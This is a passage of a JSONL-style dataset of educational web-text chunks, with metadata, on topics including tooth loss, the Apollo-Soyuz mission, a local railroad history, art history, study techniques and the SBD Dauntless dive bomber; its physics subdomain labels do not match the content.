maintenance or necessary restorative treatment. - fear and embarrassment : many people suffer from dental phobia, or anxiety / fear of going to the dentist, and do not seek dental treatment, even if they know they have a problem or are in pain. others are embarrassed or ashamed to seek dental treatment because they feel they will be blamed or judged negatively for the condition of their teeth. ignoring tooth decay or other serious dental problems can prolong and aggravate the condition and eventually lead to tooth loss. - finances : some people have to postpone or forgo dental visits and treatments, including regular check - ups and cleanings, due to high dental care costs and / or lack of insurance coverage. unfortunately, prolonging or eliminating dental care increases the chances of developing serious problems and, subsequently, greater expense for repairs. - trauma : babies and young children are most susceptible to losing teeth prematurely due to trauma, because their tooth roots and gums are still developing. if parents do not take the proper and often immediate steps to deal with dental trauma, their children ' s oral health can be permanently affected. adults, particularly those who participate in sports or suffer accidents affecting the face, also are at risk for tooth loss. - systemic conditions : systemic conditions such as heart disease, respiratory disease, diabetes, hiv infection, malnutrition and immunosuppression are all associated with forms of periodontitis that often result in tooth loss. - medical treatments : certain treatments, such as chemotherapy, head radiation therapy and immunosuppresive medications, weaken the immune system. these treatments may increase the risk of tooth infections and, consequently, the need for tooth extraction. consequences of tooth loss reverse lingering numbness after dental treatment. the consequences of tooth loss can be dire and may include the following : -", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4750993473762292, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.304204"} {"text": "the immune system. these treatments may increase the risk of tooth infections and, consequently, the need for tooth extraction. consequences of tooth loss reverse lingering numbness after dental treatment. the consequences of tooth loss can be dire and may include the following : - mental anxiety - changes in facial features, loss of bone and gum tissue, trouble eating and speaking, poor nutrition - self - consciousness, dissatisfaction with appearance and loss of confidence - pain, distress and relaxation problems - social embarrassment and isolation ( edentulous people may feel embarrassed about their appearance and not want to go out and engage in social interaction and activities. in addition, edentulous people often have to face stereotypical perceptions of being poor, uneducated and / or unhygienic. ) - embarrassed and / or ashamed to seek dental treatment - financial burden for costs of possible treatment options ( complex dental care \u2015 such as dental implants \u2015 is expensive and typically not covered by insurance ). treatments for tooth loss patients and their dentists should develop a treatment plan that emphasizes prevention and early detection of oral diseases in order to keep the remaining teeth \u2015 especially in cases of partial edentulism. prevention and detection strategies include patient education about edentulism causes, consequences and treatments, and following preventive oral health practices ( e. g., daily oral health care ), as well as preventative and therapeutic treatment. however, if tooth loss is unavoidable, there are several options for restoring your teeth and your smile. dental implants are artificial tooth roots surgically attached to the jaw to secure a replacement tooth, bridge or denture. permanent and stable, implant - supported restorations look, feel and function like natural teeth. dental implants also can be used with a denture for better stabilization. some implants take two to six months for the bone and implant to bond together ( osseointegrate ). during this time, a removable temporary tooth replacement can be worn over the implant site. research also has advanced to where an implant can be placed immediately following tooth extraction in certain cases. dentures are removable replacements for missing teeth and adjoining tissues. partial dentures fill in the spaces created by missing teeth, keep remaining teeth from shifting and are an option if you have some natural teeth remaining. if you have lost most or all of your teeth, complete or full dentures are recommended. \" immediate \" dentures are inserted immediately after removal of the natural teeth ; \" conventional \" dentures are placed in the mouth about three to six months after tooth removal.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.49834816079415867, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.305145"} {"text": "lost most or all of your teeth, complete or full dentures are recommended. \" immediate \" dentures are inserted immediately after removal of the natural teeth ; \" conventional \" dentures are placed in the mouth about three to six months after tooth removal. a dental bridge is a false tooth that is fused between two porcelain crowns to fill in or bridge the space left by a missing tooth. the two crowns holding the dental bridge in place are cemented to your teeth on each side of the space ; the bridge is secured into place and is irremovable. some bridges also may contain two or more false teeth between the crown components, depending on the case. who treats tooth loss? although general dentists are qualified to provide care for edentulous patients, they may choose to consult with or refer patients to qualified specialists. the specialists most qualified to treat edentulous patients are prosthodontists, who concentrate on the replacement of missing teeth and the restoration of natural teeth, and periodontists, who focus on the prevention, diagnosis and treatment of periodontal disease and the placement of dental implants. endodontists, specialists in pulp problems, also may be consulted for possible endodontic treatments to save \" hopeless \" teeth. for a successful outcome, make sure you receive treatment from a dentist who is professional, yet also sensitive to your situation and offers options in a non - judgmental, non - pressuring manner. ideally, your dentist should be willing to work with you to develop a treatment plan that meets your clinical, emotional, personal and financial needs. communicate your feelings and expectations to establish realistic options and, if necessary, compromise. for instance, if money is an issue, your dentist might be able to place an extended wear temporary bridge while you arrange an affordable long - term treatment plan. or, your dentist might be able to use a laboratory that provides economic, natural - looking prostheses. the key to finding the right option is to overcome your embarrassment, lack of informed knowledge and shame in order to work with your dental team to establish short - and long - term esthetic, functional and financial goals that will keep your self - esteem and your smile intact.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46074042884976363, "token_count": 444, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.306452"} {"text": "soyuz apollo test project 2013 may 23 thursday, day 143 the partnership : a history of the apollo soyuz test project press kit ( pdf download ) the soviet union readied two spacecraft, two rocket boosters and four crews for the astp mission. three of the crews were at baikonur for the launch and the other was in spaceflight control centre at kaliningrad ( now renamed korolyov ) near moscow. apollo took into orbit with it the astp docking module - a compartment which could be used by both crews in transferring between the oxygen - nitrogen atmosphere in soyuz 19 and the low pressure oxygen - only atmosphere in apollo. the module was carried into orbit sitting below the apollo in the same way the apollo lm had been launched for the lunar missions. using another ' lunar ' technique, apollo turned round after launch, docked with the docking module and pulled it away from the rocket. the moment of rendezvous is captured in this nasa painting by robert mccall only one incident marred the mission. during apollo ' s return to earth, the crew missed an item on a checklist because of radio interference on the voice link. it meant that the command module ' s thrusters were still ' live ' while it was descending under the parachute. they fired automatically to try and steady the craft as it swung around. this resulted in poisonous gases entering the spacecraft through atmospheric pressure relief valves. the three crew members suffered blistering to their lungs - they had to use oxygen masks to breathe at one point. astp ' s was the final splashdown and the last expendable spacecraft to be launched by the us before the shuttle era began. the next flight into orbit by an american astronaut came in 1981 when columbia lifted off on its maiden voyage. soyuz, however, is still flying today - considerably updated from the 1975 model which, in turn, was an evolution from the 1966 version but nevertheless still the same basic structural components. soyuz 19 launch the basic rocket used to launch soyuz 19 was based on the same vehicle that launched sputnik and vostok and still launches soyuz today. it stands 49. 3 metres tall. the rocket uses three stages - at lift off, a central core fires, together with the four cone - shaped boosters. after two and a half minutes, the boosters are depleted and fall away. stage two is the central core firing alone. when this too has used all its fuel it falls away allowing the upper stage to fire and place soyuz into orbit. soyuz itself is covered at launch by a protective aerodynamic shroud.", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4385440230965506, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.313798"} {"text": "depleted and fall away. stage two is the central core firing alone. when this too has used all its fuel it falls away allowing the upper stage to fire and place soyuz into orbit. soyuz itself is covered at launch by a protective aerodynamic shroud. on top of the shroud is a small rocket system which may be used to pull the spacecraft away from the rocket in case of an emergency during the ascent. the black objects attached to the shroud are airbrakes which would open out and slow the spacecraft down after an emergency separation. apollo was launched using a saturn 1b rocket from launch complex 39b at the kennedy space center, florida. the rocket was built in the vertical assembly building ( now known as the vehicle assembly building for the space shuttle ) which was originally constructed for the apollo moon landing programme. in order that the saturn 1b fit the handling equipment built for the saturn 5 launcher, a tall pedestal was constructed to place the top of the rocket at the same height as the saturn 5 - 110 metres. this arrangement was also used to launch saturn 1b for the skylab 2, skylab 3 and skylab 4 missions. the only other piloted mission to use the saturn 1b was apollo 7 which checked - out the apollo command and service modules for the first time with a crew aboard. it left from launch complex 34 at the cape canaveral air force station, which was specially built to handle the rocket. it was the same launch complex where the crew of apollo 1 died in 1967. the soyuz 19 spacecraft this magnificent photograph of soyuz 19 was taken by the crew of apollo while the two craft orbited in formation after they had undocked. it was the clearest photograph ever taken of an orbiting soyuz until that time. the white backdrop is the earth ' s cloud cover. at top is the orbital module, a near - spherical compartment which provides room for the crew to move about, to stow equipment and can act as an airlock. it is covered in a green multi - layered material which provides thermal insulation, keeping the inside at a comfortable temperature. the white discs are radio transmission aerials, and the two silver plates at the very top are the docking system. just below, also shrouded in green insulation, is the descent compartment which houses the crew at launch and is the only part of soyuz to return to earth. at bottom, with two panels of solar cells attached, is the instrument unit which houses fuel tanks, batteries and other electrical equipment, and a rocket motor system - the nozzles of which can be seen", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.47300706771973644, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.314924"} {"text": "only part of soyuz to return to earth. at bottom, with two panels of solar cells attached, is the instrument unit which houses fuel tanks, batteries and other electrical equipment, and a rocket motor system - the nozzles of which can be seen in the base. the complete vehicle is 7. 5 metres in length and weighs just over 6. 5 tonnes. the apollo spacecraft the crew of soyuz 19 took this photograph as the two craft flew in formation after separation. in it can be seen the apollo command module, and behind it the cylindrical service module with its bell - shaped rocket nozzle. the cylinder at the front with the box - like projections is the docking module. at the end facing is the three - petal arrangement of the docking unit developed specially for the mission. the idea behind it is that any two craft equipped with such a unit can dock with each other. both american and soviet docking units up to that time consisted effectively of a plug ( probe ) and socket ( drogue ). soviet and american designs were not compatible either. apollo is 3. 9 metres in diameter and the command and service modules together weigh 14. 7 tonnes. the docking module is 3. 15 metres long and 1. 4 metres in diameter. it weighs 2. 0 tonnes. the box - shaped object on the side houses gas bottles for storing oxygen and nitrogen to replenish the atmosphere inside the docking module. copyright \u00a9 robert christy, all rights reserved reproduction in whole or in part without permission is prohibited", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4671103551631858, "token_count": 302, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.315818"} {"text": "the train station the building of the railroad that ran through pocantico hills began in 1880 - 1881. the railroad, planned as a direct route from new york city to montreal, was completed only as far as carmel, new york. originally the railroad crossed a swampy area which is now the larger of the two tarrytown water supply lakes. it stretched over a large trestle that held it high above the swampland. the trestle began at east view and lowered to the ground to go through the pocantico hills rock cut which is now closed to the public because of falling rocks. the train station was built where the tarrytown skating shed now stands. pocantico hills became a thriving business community because of the railroad. it consisted of two livery stables, two grocery stores, a butcher shop, two apartment houses, a post office and two hotels. mr. rockefeller found the presence of the train objectionable. bothered by the noise and dirt, he had to wear goggles while playing golf. eventually, mr. rockefeller jr. paid to have the railroad moved to briarcliff so he would not suffer. many people sold their houses to him so that the railroad could be relocated. this marked the end of the railroad ' s running through pocantico hills. it took twenty - five years and five million dollars for mr. rockefeller to achieve his goal. by regina bergen train station constructed by : back to the past", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3864426944381417, "token_count": 295, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.317624"} {"text": "art of the western world, the take your students high into the dome of the florence cathedral to discover the beauty of its design and the genius of its immense structure. it \u2019 s just one of the unusual perspectives your class will enjoy in this beautifully filmed series surveying the western world \u2019 s seminal works of painting, sculpture, and architecture. on this journey from ancient greece to contemporary new york, art of the western world broadens students \u2019 understanding by presenting major artistic works within their religious, intellectual, and social context. 1. the classical ideal \u2014 part i : the origins of humanism and the immortal classical style are traced to ancient greece. part ii : roman engineering and architecture was used to build an empire, while sculpture exalted its rulers. 2. a white garment of churches romanesque and gothic \u2014 part i : with the fall of the roman empire, christianity flourished with the church as patron of romanesque architecture and sculpture. part ii : the origin of gothic architecture is found in the choir of the abbey church of st. denis and the chartres cathedral serves as a model of high gothic style. 3. the early renaissance \u2014 part i : the rebirth of classical themes and humanistic ideas marked the renaissance in italy, as seen in florentines brunelleschi, masaccio, ghiberti, and botticelli. part ii : glowing color and minute detail set the work of the flemish masters van eyck and grunewald apart from the florentines. 4. the high renaissance \u2014 part i : da vinci, michelangelo, and raphael displayed extraordinary talent working in a variety of media and elevated the status of the artist in italian society. part ii : venetians like titian, tintoretto, and palladio readapted the classical style with a theatrical flourish. 5. realms of light : the baroque \u2014 part i : the church \u2019 s campaign to counter the reformation relied on dramatic depictions of religious scenes, such as those of caravaggio and bernini. part ii : the royal courts in spain and the wealthy burghers in the netherlands commissioned and influenced major paintings by velazquez and rembrandt. 6. an age of reason, an age of passion \u2014 part i : the playful fantasy and provocative subjects of the rococo style practiced by watteau, fragonard, and boucher gave way to strict rationalism, which insisted on morality in art and the purity of classical form, as seen in the works of david. part ii : striving for individual expression,", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4632249507501328, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.321288"} {"text": "practiced by watteau, fragonard, and boucher gave way to strict rationalism, which insisted on morality in art and the purity of classical form, as seen in the works of david. part ii : striving for individual expression, romantic painters goya, gericault, and delacroix demonstrated a range of styles and subjects. 7. a fresh view : impressionism and post - impressionism \u2014 part i : courbet and his followers rejected the standard themes and techniques, manet shocked paris, and impressionists bathed the world in color and changing light. part ii : post - impressionists seurat, van gogh, gauguin and cezanne broke new ground with daring use of color and form. 8. into the twentieth century \u2014 part i : modernity brought new forms in viennese building and painting. paris saw the emergence of the fauves and of picasso and cubism. kandinsky experimented with color abstraction. part ii : modernism also spawned the abstract and the surreal. le corbusier and wright applied the abstract principles to buildings. dad responded with nihilism ; surrealists dali, magritte, and miro showed freudian influence. 9. in our own time \u2014 part i : the abstract expressionist movement established new york as a center for the visual arts. works by pollock, warhol, lichtenstein, and the sculptor oldenburg are examined. part ii : with many of the rules tested and discarded, the art world has become international. art is now accessible to everyone to create and appreciate. host michael wood looks over the past and forward to implications for the future. use our classroom videos for every curriculum and every grade level. these programs have been dropped from the instructional resources offerings. sign up for our monthly e - newsletter to learn about new programs, classroom resources, and professional development opportunities! june - tri - city technology conference in fargo, north dakota june 8 - share a story event at rheault farm from 10 : 30 am to 4 : 00 pm june 14 - midwest kidsfest at island park in fargo, north dakota from 11 : 00 am to 7 : 00 pm june 25 - 26 - prairie region teacher training institute in moorhead, minnesota at concordia college", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5080747026181386, "token_count": 457, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.322180"} {"text": "results of recent study on effective notes and increased retention you have identified important information, there are several techniques that can help you organize and remember it. there is not, however, one best method for remembering everything. experiment with different memory techniques to see which ones work best for you! new information to something you already know. and isolated idea / fact is hard to remember. if you associate or connect it with information that already makes sense to you, it will be more meaningful and easier to organize and remember. information into a vivid, clear mental picture. for example, to remember the necessary elements of a novel, form a picture with all the important characters dressed in the style of the period, doing something which shows what the character is like. if you have trouble picturing this in your head, draw itthe sillier the better! information that is hard to associate or visualize, try a memory technique. some effective memory devices include the following examples. a word from the first letter of each word in a series. example : homes for recalling the great lakeshuron, ontario, michigan, erie, a nonsense phrase so that the first letter of each word is the information. example : every good boy does fine for the e, g, b, d, f lines of the treble music staff. example, remember whether the denotative or connotative meaning of a word is the dictionary meaning by denotative and dictionary both beginning with d. up short, catchy sayings that include the essential information. for example, in 1492 columbus sailed the ocean blue. and use the information you want to remember! regular review and use of information will significantly improve retention and recall. than one long study session, plan frequent short study sessions. nighters never work! always include a review of previously learned information ( yes, even if you have already had that test! ) as well as learning when comparing the most commonly used forms of note - taking \u2014 cornell, concept mapping, outline, note cards \u2014 studies recently revealed that the strategy that leads to most effective retention is the use of note cards. the predominant difference from other formats is that with note cards the student is able to separate learned information from that which has not been retained. the benefit derives from the ability to periodically review the material that has been learned while placing more emphasis on that which has not been stored in memory. here is are some web sites that explain the effective use of note cards. study note cards learn the many uses of making note cards for studying. ( university of", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5156273907636443, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.325701"} {"text": "that has been learned while placing more emphasis on that which has not been stored in memory. here is are some web sites that explain the effective use of note cards. study note cards learn the many uses of making note cards for studying. ( university of manitoba ) creating note cards to make studying easier : spanish example the site has examples and video explanation. ( center for research on language acquisition ) using note cards effectively : chemistry example ( university of north carolina at chapel hill ) work with note cards from both reading and lecture notes simple instructions with good illustrations ( the learning toolbox ) be sure to check the internet for free downloads of note cards for your computer or phone! curve of forgetting the curve of forgetting describes how we retain or get rid of information that we take in based on a one - hour lecture. ( university of waterloo ) note : the discussion refers to 100 % of what you took in. this does not necessarily mean 100 % of all information presented. short strategies to increase memory ( california polytechnic state university at san louis obispo ) get to know your memory skills and the tools to improve retention ( muskingum college ) background, purposes, advantages, and specific memory strategies ( muskingum college ) learning and remembering how can you become more efficient when you study? ( university of waterloo ) concept - or mind - mapping this site has fun, interactive demonstration of making a mind map. ( study guides and strategies ) concept maps : examples of anatomy the site also has good links to other mapping resources. try to ignore the flashing image and the floating menu. ( lionden. com ) types of maps see some examples of typical mind maps and adapt them to your needs. ( university of michigan ) learn how sensory, short - term and long - term memory work, then use this information for more effective study and retention. mnemonics to learn more effectively close the annoying ad on the left to access a lot of information and related links. ( mind tools ) this site has numerous examples from specific disciplines. check it out! ( eudesign )", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.48876524488287654, "token_count": 413, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.326547"} {"text": "i could have hoped that humanity would have learned the lesson that we know very little about the marine environment. over the last twelve months we have realized that a species of river dolphins is in fact two ( see our section on river dolphins ). when politicians tell us that there is ' x amount of cetaceans ', often latter evidence is that we actually had ' b ', ' c ' and ' d ' populations making up ' x - y ' of a total for the species. the whaling debate is littered with these issues. the bbc now reports that a species of skate could become the first marine fish driven to extinction by commercial fishing. the bbc goes onto say ' a study reveals that an error in the classification of the species has meant researchers have failed to see just how close to the brink it is '. ' the research team, led by samuel iglesias from the marine biology station in concarneau on the west coast of france, paints a very bleak picture for the future of the flapper skate.. dr iglesias said : \" the threat of extinction for european dipturus together with mislabelling in fishery statistics highlight the need for a huge reassessment of population for the different dipturus species in european waters. \" without revision and recognition of its distinct status the world ' s largest skate, d. intermedia, could soon be rendered extinct. \" '", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.45431728692572104, "token_count": 284, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.327901"} {"text": "academic integrity for students there are a number of resources available to help you develop your understanding of academic integrity. these include : the centre for teaching and learning offers advice on academic literacy in the form of printable resources and workshops during semester. you can seek out one of these courses independently by contacting the learning development team. infoskills is a self - paced online learning module that you can access at any time. infoskills is designed to introduce you to the basics of academic literacy, including planning for research, finding information, evaluating information, writing and plagiariasm, and using information ethically. turnitin is an electronic text - matching tool that gives you individualised feedback on referencing in your written work. turnitin provides you with the opportunity to \" presubmit \" your work and modify it on the basis of the \" originality report \". this helps you to refine your academic literacy and referencing skills. university academic integrity module students commencing from trimester 1 2013 are required to complete an academic integrity module ( aim ) before the end of their first enrolment period ( trimester, semester or block ). the university aim takes the form of an online test in blackboard and you must achieve 100 % on the test to pass. faculty academic integrity modules some faculties have developed disciplinary specific modules to help with understanding academic literacy as it applies to your course, program, or profession. your course coordinator will advise you if you need to complete one of these modules. academic integrity policy and procedures the student academic integrity policy and student academic integrity procedure support the universitya\u20ac\u2122s commitment to the highest standards of academic and personal integrity. these have been developed in accordance with advice from the independent commission against corruption ( icac ). the policy and procedure explain your responsibilities in terms of academic integrity, and outline the process that will be followed if an allegation of a breach of academic misconduct is made about your work. student academic conduct officers each school has a student academic conduct officer ( saco ) who provides advice and training about academic integrity to staff and students. your first point of contact for advice on academic integrity issues such as plagiarism or collusion should always be your lecturer or tutor. if an allegation of a breach of academic integrity is made about your work the saco will contact you. advisors in research integrity each faculty has an advisor in research integrity to provide advice and training about academic integrity and research misconduct to staff and students. if an allegation of research misconduct is made about your work the", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.44979567351146155, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.333524"} {"text": "the douglas sbd dauntless was one of the truly great aircraft of world war ii. it played a major role throughout the pacific. on june 4, 1942, during the battle of midway, sbds destroyed four japanese carriers, dramatically altering the course of the war. the sbd ' s design was based on the northrop bt - 1, but with engine and structural changes. production orders were placed in april 1939, with all sbd - 1s going to u. s. marine corps units. subsequent models were sent to navy squadrons, with each succeeding model carrying such improvements as increased fuel capacity, illuminated gunsights, and armor plates for the crew. england, new zealand, and france also used sbds. the sbd - 6 was the last production model, with 450 built. this sbd - 6 carries the markings of vs - 51 ( navy scout squadron ), which operated in the pacific during world war ii. transferred from the united states navy. country of origin : united states of america overall : 13ft 8 15 / 16in. x 40ft 9in., 10555. 6lb., 54ft 2in. ( 4. 19m x 12. 42m, 4788kg, 16. 51m ) single engine, low wing, carrier based scout / dive bomber. both sides of fuselage : \" 109, \" u. s. star and bar insignia. on the tail, \" navy \" and u. s. navy bureau of aeronautics number \" 54605 \" and \" sbd - 4 \" in white. wings have u. s. star and bar insignia. the douglas sbd dauntless played one of the most significant roles in the course of world war ii. although considered obsolete and scheduled for replacement before the war began, the sbd would live up to the nickname given to it by its crews - slow but deadly ( a play on its official designation ). serving throughout the war, dauntlesses would sink more than 300, 000 tons of enemy shipping, including at least 18 warships, ranging from submarines to battleships. during 1942, sbds were the primary weapon in the u. s. war effort in the pacific, almost single - handedly sinking six enemy carriers. navy experience with dive bombing went back to the early years of naval aviation. united states marine corps pilots had experimented with the technique as early as 1919 although it was not known by that name at the time. with the commissioning of the first carrier, the uss langley, the navy realized", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4475251378340318, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.349428"} {"text": "back to the early years of naval aviation. united states marine corps pilots had experimented with the technique as early as 1919 although it was not known by that name at the time. with the commissioning of the first carrier, the uss langley, the navy realized there would be limitations to the size of aircraft used at sea. carrier planes could not hope to carry the same bomb load as shore - based aircraft, so they needed to be able to deliver each bomb as accurately as possible. dive bombing was the answer. the technique gained official status in 1926 when the navy included it in the fleet exercises. accidents involving the bomb hitting the propeller or wheels on release, however, nearly ended its use. a solution was found in a bomb fork, which swung the bomb clear of the propeller arc. approval followed in 1931. in 1934 the bureau of aeronautics held a design competition for a new generation of carrier aircraft. the navy wished to replace its four main types - fighter, scout - bomber, torpedo bomber, and dive bomber - with modern all - metal monoplane aircraft. designs by vought, brewster, and northrop were chosen for further development in the dive bomber category. brewster lacked the facilities to meet the navy ' s needs and the vought design did not have the necessary performance, although 50 would later be ordered as the sb2u vindicator. the northrop entry bore a family resemblance to the firm ' s alpha series of mailplane aircraft. chief engineer ed heinemann ' s racy low - wing monoplane design incorporated many of the revolutionary construction techniques used in the earlier aircraft. unlike the vought entry, the xbt - 1 ( as the northrop aircraft was designated ), in an effort to save weight, did not include folding wings. split dive flaps on the trailing edge of the wing, which were perforated, eliminated tail buffeting and permitted a steeper diving angle. the navy approved the design and ordered 54 production models designated as bt - 1s. the bt - 1, however, had stability problems and with an 825 horsepower pratt & whitney engine, was underpowered. a second prototype, the xbt - 2, incorporated the new 1, 000 horsepower wright r - 1820 - 32 engine, which boosted the bt - 1 ' s top speed of 212 mph by 35 mph. the addition of a modified rudder corrected poor lateral stability. a fully retractable landing gear was also included on the new prototype. the new design featured improved stability and low - speed control. during the development of the xbt -", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4733746840513318, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.350415"} {"text": "by 35 mph. the addition of a modified rudder corrected poor lateral stability. a fully retractable landing gear was also included on the new prototype. the new design featured improved stability and low - speed control. during the development of the xbt - 2, douglas took over the northrop contract. many northrop employees, including engineer ed heinemann, moved over with the project, and in 1938, northrop sold his el segundo, california factory to douglas. with the switch in manufacturers the xbt - 2 became the xsbd - 1 ( for experimental scout - bomber douglas - 1 ). after some more minor modifications, the navy ordered 144 sbds in april 1939. in common with other douglas aircraft whose names began with the letter \" d \", the sbd was named the dauntless. although the navy had placed an order, it did not consider the sbd - 1 to be fully combat - ready. the main problem was a lack of fuel capacity, which limited the range of the dauntless. with the amount of time spent forming up and landing on a carrier, fuel capacity was considered to be critical. douglas agreed to address the problem, beginning with the 58th production model. the navy agreed to accept the first 57 sbd - 1s without modification and decided that the marines, who mostly operated from land bases, could use these aircraft. the marines, therefore, received the first dauntlesses in june of 1940. the remaining 87 aircraft of the original contract were delivered as sbd - 2s. while the modifications of this version did not solve all the problems, they did improve on the lack of range. in this model, the two small 15 - gallon auxiliary fuel tanks located in the wing center section of the sbd - 1 were replaced with two 65 - gallon tanks in the outer wings. fuel capacity was increased from 210 to 310 gallons and range increased to 1, 200 miles. the sbd - 2 also had an autopilot for the long over - water flights that were now possible. the increased weight, however, hurt performance and often one of the two. 50 caliber fuselage - mounted guns would be removed to compensate. deliveries of the sbd - 2 to vs - 2 and vb - 2 on board the uss lexington began in november 1940, with uss enterprises ' s vs - 6 and vb - 6 following shortly. the initial two models of the dauntless would see the first combat in the pacific on 7 december 1941, during the attack on pearl harbor", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4268667350304874, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.351336"} {"text": "lexington began in november 1940, with uss enterprises ' s vs - 6 and vb - 6 following shortly. the initial two models of the dauntless would see the first combat in the pacific on 7 december 1941, during the attack on pearl harbor. marine air group ( mag ) 11 - equipped with the sbd - 1 - was caught on the ground and all aircraft were either damaged or destroyed by the japanese. at the same time, 18 navy sbd - 2s, launched from the enterprise, which was returning to hawaii from wake island, arrived just as the japanese were attacking. seven dauntlesses were shot down or crash - landed. two japanese aircraft were claimed shot down by the dauntlesses. three days later the sbd gained the distinction of destroying the first japanese warship of world war ii when lt dickinson of vs - 6 sank the imperial japanese submarine i - 70 off of hawaii. as 1942 began, it was obvious that any retaliation for pearl harbor would have to come from the carrier forces, which had been at sea during the attack and had therefore avoided destruction. the first action took the form of hit - and - run raids by the carriers enterprise, lexington, and yorktown, against remote japanese positions in the spring of 1942. while these raids caused little damage, they served notice that the u. s. navy was still fighting. dauntlesses were heavily involved and attacked many ships and shore installations in these raids. one of the most famous strikes of this period was the doolittle raid on tokyo. an sbd reported a japanese picket boat ahead of the task force. the dauntless crew also reported that the boat had probably sighted them, thus precipitating the early launch of doolittle ' s b - 25 bombers. deliveries of the new sbd - 3 began in march 1941, and were stepped up after the attack on pearl harbor, so that this was the main type to be used throughout the major battles of 1942. the sbd - 3 brought the dauntless up to full combat standards. self - sealing wing tanks, crew armor, and an armored windscreen were all introduced. experience gained in the battle of the coral sea prompted the introduction of twin. 30 caliber machine guns in the rear cockpit, thus increasing firepower. they were made standard in mid - production and earlier examples of the sbd - 3 were retrofitted with the guns in the field. the added weight of these improvements was offset to a certain extent by the use of alclad to replace", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4220881300238678, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.352272"} {"text": ". they were made standard in mid - production and earlier examples of the sbd - 3 were retrofitted with the guns in the field. the added weight of these improvements was offset to a certain extent by the use of alclad to replace the dural skin of the earlier models, and the removal of the flotation equipment that was standard on the sbd - 2. maximum speed fell by a small margin to 250 mph, earning this model the tongue - in - cheek nickname of \" the speedy three \". service ceiling, however, improved from 26, 000 to 27, 100 ft. in may 1942, the u. s. faced its first major operation against the japanese fleet at the battle of the coral sea. the battle resulted when admiral nimitz sent yorktown and lexington to block the japanese thrust towards australia. in this, the world ' s first carrier duel in which the opposing ships never came within sight of each other, dauntlesses were responsible for sinking the japanese small carrier shoho. despite the fact that the japanese sank the larger u. s. fleet carrier lexington, the battle was a strategic victory for the americans because it stopped the japanese move to the south. in less than a month ' s time, dauntlesses would improve on their coral sea performance. with the failure of the southern expedition, the japanese decided to strike at the u. s. base on midway island. the plan was to gain a base from where they could threaten the hawaiian islands and thus draw the remaining u. s. carriers out to be destroyed in a major fleet engagement. the u. s. navy had an advantage in that they had broken the japanese code and knew the attack was coming. also, the japanese did not realize that yorktown, which had been damaged ( and believed sunk ) at coral sea, had been hastily repaired and was able to join enterprise and hornet at midway. the three u. s. carriers carried 112 dauntlesses. most were the latest model, but a few sbd - 1s and - 2s were also aboard. while the japanese had a much larger fleet, the sides were more evenly matched in the crucial area of airpower. the japanese had four aircraft carriers, and the u. s. had three carriers and the land - based aircraft at midway, which included 19 sbd - 2s. by june 3, the american carriers were ready and had spotted the enemy troop transports. the next day the japanese opened the battle with a strike on midway. meanwhile,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40540643426184264, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 